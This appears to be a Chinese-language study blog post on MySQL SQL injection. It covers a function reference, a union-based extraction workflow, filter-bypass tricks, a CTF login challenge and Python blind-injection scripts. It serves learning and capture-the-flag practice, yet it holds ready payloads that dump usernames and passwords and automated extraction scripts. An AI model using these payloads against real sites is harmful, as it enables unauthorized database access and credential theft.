SQL注入学习
2022-03-22 15:31:41 # web漏洞

基础知识

系统函数

1
2
3
4
5
6
7
8
9
system_user()——系统用户名
user()——用户名
current_user()——当前用户名
session_user()——链接数据库的用户名
database()——数据库名
version()——数据库版本
@@datadir——数据库路径
@@basedir——数据库安装路径
@@version_conpile_os——操作系统

数学函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ABS(x)   返回x的绝对值
BIN(x) 返回x的二进制(OCT返回八进制,HEX返回十六进制)
CEILING(x) 返回大于x的最小整数值
EXP(x) 返回值e(自然对数的底)的x次方
FLOOR(x) 返回小于x的最大整数值
GREATEST(x1,x2,...,xn)返回集合中最大的值
LEAST(x1,x2,...,xn) 返回集合中最小的值
LN(x) 返回x的自然对数
LOG(x,y)返回x的以y为底的对数
MOD(x,y) 返回x/y的模(余数)
PI()返回pi的值(圆周率)
RAND()返回0到1内的随机值,可以通过提供一个参数(种子)使RAND()随机数生成器生成一个指定的值。
ROUND(x,y)返回参数x的四舍五入的有y位小数的值
SIGN(x) 返回代表数字x的符号的值
SQRT(x) 返回一个数的平方根
TRUNCATE(x,y) 返回数字x截短为y位小数的结果

聚合函数

1
2
3
4
5
6
AVG(col)返回指定列的平均值
COUNT(col)返回指定列中非NULL值的个数
MIN(col)返回指定列的最小值
MAX(col)返回指定列的最大值
SUM(col)返回指定列的所有值之和
GROUP_CONCAT(col) 返回由属于一组的列值连接组合而成的结果

字符串函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ASCII(char)返回字符的ASCII码值
BIT_LENGTH(str)返回字符串的比特长度
CONCAT(s1,s2...,sn)将s1,s2...,sn连接成字符串
CONCAT_WS(sep,s1,s2...,sn)将s1,s2...,sn连接成字符串,并用sep字符间隔
INSERT(str,x,y,instr) 将字符串str从第x位置开始,y个字符长的子串替换为字符串instr,返回结果
FIND_IN_SET(str,list)分析逗号分隔的list列表,如果发现str,返回str在list中的位置
LCASE(str)或LOWER(str) 返回将字符串str中所有字符改变为小写后的结果
LEFT(str,x)返回字符串str中最左边的x个字符
LENGTH(s)返回字符串str中的字符数
LTRIM(str) 从字符串str中切掉开头的空格
POSITION(substr,str) 返回子串substr在字符串str中第一次出现的位置
QUOTE(str) 用反斜杠转义str中的单引号
REPEAT(str,srchstr,rplcstr)返回字符串str重复x次的结果
REVERSE(str) 返回颠倒字符串str的结果
RIGHT(str,x) 返回字符串str中最右边的x个字符
RTRIM(str) 返回字符串str尾部的空格
STRCMP(s1,s2)比较字符串s1和s2
TRIM(str)去除字符串首部和尾部的所有空格
UCASE(str)或UPPER(str) 返回将字符串str中所有字符转变为大写后的结果

加密函数

1
2
3
4
5
6
7
8
AES_ENCRYPT(str,key)  返回用密钥key对字符串str利用高级加密标准算法加密后的结果,调用AES_ENCRYPT的结果是一个二进制字符串,以BLOB类型存储
AES_DECRYPT(str,key) 返回用密钥key对字符串str利用高级加密标准算法解密后的结果
DECODE(str,key) 使用key作为密钥解密加密字符串str
ENCRYPT(str,salt) 使用UNIXcrypt()函数,用关键词salt(一个可以惟一确定口令的字符串,就像钥匙一样)加密字符串str
ENCODE(str,key) 使用key作为密钥加密字符串str,调用ENCODE()的结果是一个二进制字符串,它以BLOB类型存储
MD5() 计算字符串str的MD5校验和
PASSWORD(str) 返回字符串str的加密版本,这个加密过程是不可逆转的,和UNIX密码加密过程使用不同的算法。
SHA() 计算字符串str的安全散列算法(SHA)校验和

注入流程

1.判断是否存在注入

1
2
3
4
5
6
7
8
9
10
11
?id=1' 
?id=1"
?id=1')
?id=1")
?id=1' or 1#
?id=1' or 0#
?id=1' or 1=1#
?id=1' and 1=2#
?id=1' and sleep(5)#
?id=1' and 1=2 or '
?id=1\

2.判断字段数

使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。

1
2
3
4
5
6
1' order by 1#
1' order by 2#
1' order by 3#
1 order by 1
1 order by 2
1 order by 3

使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。

1
2
3
4
5
6
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#

3.确定显示数据的字段位置

使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。

1
2
3
4
5
6
-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#

4.在回显数据的字段上注入payload

在mysql 5.0版本之后,mysql默认在数据库中存放一个”information_schema“的数据库,在该库中,需要记住三个表名,分别是schemata、tables、columns。

1
2
3
4
5
6
7
8
9
数据库名
-1' union select 1,2,database()--+
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
字段名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
数据
-1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

information_schema被屏蔽时,可以使用其他表:

innodb表

MySQL 5.6 及以上版本存在innodb_index_statsinnodb_table_stats两张表,其中包含新建立的库和表

1
2
3
4
5
查表
select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();
-1' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()--+

sys表

sys表 在MySQL 5.7中默认存在,在mysql5.6版本以上可以手动导入,sys系统数据库结合了information_schema和performance_schema的相关数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
#不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
#通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

#查询指定库的表(若无则说明此表从未被访问)
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by
table_schema,table_name order by io desc;
#查看所有正在连接的用户详细信息
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary;

Performance Schema

Performance Schema最早在MYSQL 5.5中引入,而现在5.6、5.7、8.0中Performance-Schema又添加了更多的监控项,用于监控MySQL server在一个较低级别的运行过程中的资源消耗、资源等待等情况。

1
2
3
4
5
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();

过滤

select被过滤

方法一:

1
2
3
4
5
6
7
mysql 8.0.19`新增语句`table
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以把table t简单理解成select * from t,和select的区别在于
table总是显示表的所有列
table不允许任何的行过滤;也就是说,TABLE不支持任何WHERE子句。
可以用来盲注表名

方法二:

1
2
3
4
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

方法三:

1
2
3
4
5
6
prepare xxx from "sql语句";
execute xxx;

由于sql语句是字符串,因此可以使用操作字符串的函数,绕过一些过滤
比如过滤了select
PREPARE st from concat('s','elect', ' * from `1919810931114514`');EXECUTE st;#

information_schema被过滤

方法一:

利用mysql5.7新增的sys.schema_auto_increment_columns

1
这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名

方法二:

利用sys.schema_table_statistics_with_buffer

方法三:

利用mysql默认存储引擎innoDB携带的表 mysql.innodb_table_stats

mysql.innodb_index_stats

方法四:

无列名注入

join-using注列名

通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

1
2
3
4
5
6
7
8
9
10
爆表
?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
获取第一列的列名
?id=-1' union all select * from (select * from users as a join users as b)as c--+
获取次列及后续列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
?id=-1' union all select*from (select * from users as a join users b using(id,username,password))c--+
数据库中as主要作用是起别名,常规来说都可以省略,但是为了增加可读性,不建议省略。

利用普通子查询

假设 user表中存在 列名为idnamepassmailphone,那么利用如下

1
select 1,2,3,4,5 union select * from users; (前提是先尝试出sql中总共有几个列)

image-20220322170246440

可见数字与users中的列相应,接着,就可以继续使用数字来对应列进行查询,如3对应了表里面的pass:

1
2
select `3` from (select 1,2,3,4,5 union select * from users)a;
//就相当于select pass from (select 1,2,3,4,5 union select * from users)a;

image-20220322170340541

当反引号 ` 不能使用的时候,我们可以使用别名来代替:

1
2
select b from (select 1,2,3 as b,4,5 union select * from users)a;
select group_concat(b,c) from (select 1,2,3 as b,4 as c,5 union select * from users)a; //在注入中查询多个列:

过滤了逗号,可以利用join

1
2
//无逗号,有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;

举例

这里列举一个之前参加的中国工业互联网安全大赛联通赛题的一道无列名注入题

题目就一个登录页面,过滤的源码如下,实际环境可以采⽤fuzz,对常⽤关键字进⾏探测,将被过滤的找出来

image-20220322170812383

通过观察,过滤中最主要将各种用于比较的符号都进行了过滤,只留下了⼀个就是in
并且登录接,sql没有回显,明显是布尔盲注,经过测试,payload如下:

1
2
password:
abcabc'/**/or/**/ord(mid((select/**/database()),0,1))/**/in/**/('127')#

还有⼀个考点就是这里过滤了information,表面上看没办法常规获取表明和字段名,这里采用的绕过方法是使用sys.schema_table_statistics这个表。这个表中存储了所有的数据库和数据表,但是没有字段名

1
2
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema in ('xxx') GROUP BY table_name limit 0,1

利用无列名注入获取表名

1
select a.1 from (select 1,2 union select * from f1a91sH3RE)a limit 1,1

或者想办法获取列名:这里采取的⽅式为:sys.x$statement_analysis这个表,这个表会记录最近用过的语句,因为题目环境为docker,因此建表语句⼀般都存储在该表中,没有被清空,因此可以通过注入这个表,获取到完整的建表语句:

1
SELECT query FROM sys.x$statement_analysis

编写python脚本,获取数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests as req
url = 'http://127.0.0.1:8081/index.php'

select = 'password' #flag-is-not-here
select = 'SELECT table_schema FROM sys.schema_table_statistics GROUP BY
table_schema' #ctfgame 库名
select = "SELECT table_name FROM sys.schema_table_statistics WHERE table_schema in ('ctfgame') GROUP BY table_name limit 0,1" # f1a91sH3RE 表名
select = "SELECT table_name FROM sys.schema_table_statistics WHERE table_schema in ('ctfgame') GROUP BY table_name limit 1,1" # users
select = "SELECT query FROM sys.x$statement_analysis limit 3,1" # users
select = "SELECT f1aG123 FROM f1a91sH3RE"
# select = "select * from f1a91sH3RE limit 0,1" #注⼊失败 说明不⽌⼀列
# select = "select a.1 from (select 1,2 union select * from f1a91sH3RE)a limit 1,1" #假设有2列 注⼊成功 flag{af65039d-6f2f-9524-d896-e630d03c074c}
res = ''
for i in range(1,100):
for j in range(1,130):
data={
'username' : 'admin',
'password' : f"abcabc' or ord(mid(({select}),{i},1)) in
('{j}')#".replace(' ', "/**/")
}
r = req.post(url, data)
if 'hacker' in r.text:
print("hacker")
exit(0)
if 'wrong' not in r.text:
res += chr(j)
print(res)
break
if j == 129:
exit(0)

注释符绕过

1
#    %23    --+或-- -    ;%00      用引号进行闭合

大小写绕过

1
2
3
4
5
6
# 大小写绕过
-1' UnIoN SeLeCt 1,2,database()--+
# 双写绕过
-1' uniunionon selselectect 1,2,database()--+
# 字符串拼接绕过
1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;

过滤 and、or 绕过

1
2
and => &&
or => ||

过滤空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用注释符/**/代替空格:
select/**/database();

# 使用加号+代替空格:(只适用于GET方法中)
select+database();
# 注意: 加号+在URL中使⽤记得编码为%2B: select%2Bdatabase(); (python中不用)

# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());

# 使⽤其他不可⻅字符代替空格:
%09, %0a, %0b, %0c, %0d, %a0

#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);

过滤比较符号绕过

使用 in() 绕过

1
2
3
/?id=' or ascii(substr((select database()),1,1)) in(114)--+    // 错误
/?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正常回显
/?id=' or substr((select database()),1,1) in('s')--+ // 正常回显

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://ip?id="
payload = "' or ascii(substr((select database()),{0},1)) in({1})--+"
flag = ''
if __name__ == "__main__":
for i in range(1, 100):
for j in range(37,128):
url = "ip/?id=' or ascii(substr((select database()),{0},1)) in({1})--+".format(i,j)
r = requests.get(url=url)
if "You are in" in r.text:
flag += chr(j)
print(flag)

使用like绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string

# strs = string.printable
strs = string.ascii_letters + string.digits + '_'
url = "http://ip?id="

payload = "' or (select database()) like '{}%'--+"

if __name__ == "__main__":
name = ''
for i in range(1, 40):
char = ''
for j in strs:
payloads = payload.format(name + j)
urls = url + payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j, end='')
char = j
break
if char == '#':
break

使用regexp绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string

# strs = string.printable
strs = string.ascii_letters + string.digits + '_'
url = "http://ip?id="

payload = "' or (select database()) regexp '^{}'--+"

if __name__ == "__main__":
name = ''
for i in range(1, 40):
char = ''
for j in strs:
payloads = payload.format(name + j)
urls = url + payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j, end='')
char = j
break
if char == '#':
break

参考

SQL注入之Mysql注入姿势及绕过总结 - 先知社区 (aliyun.com)

SQL注入总结 – cc (ccship.cn)

https://blog.csdn.net/qq_45521281/article/details/106647880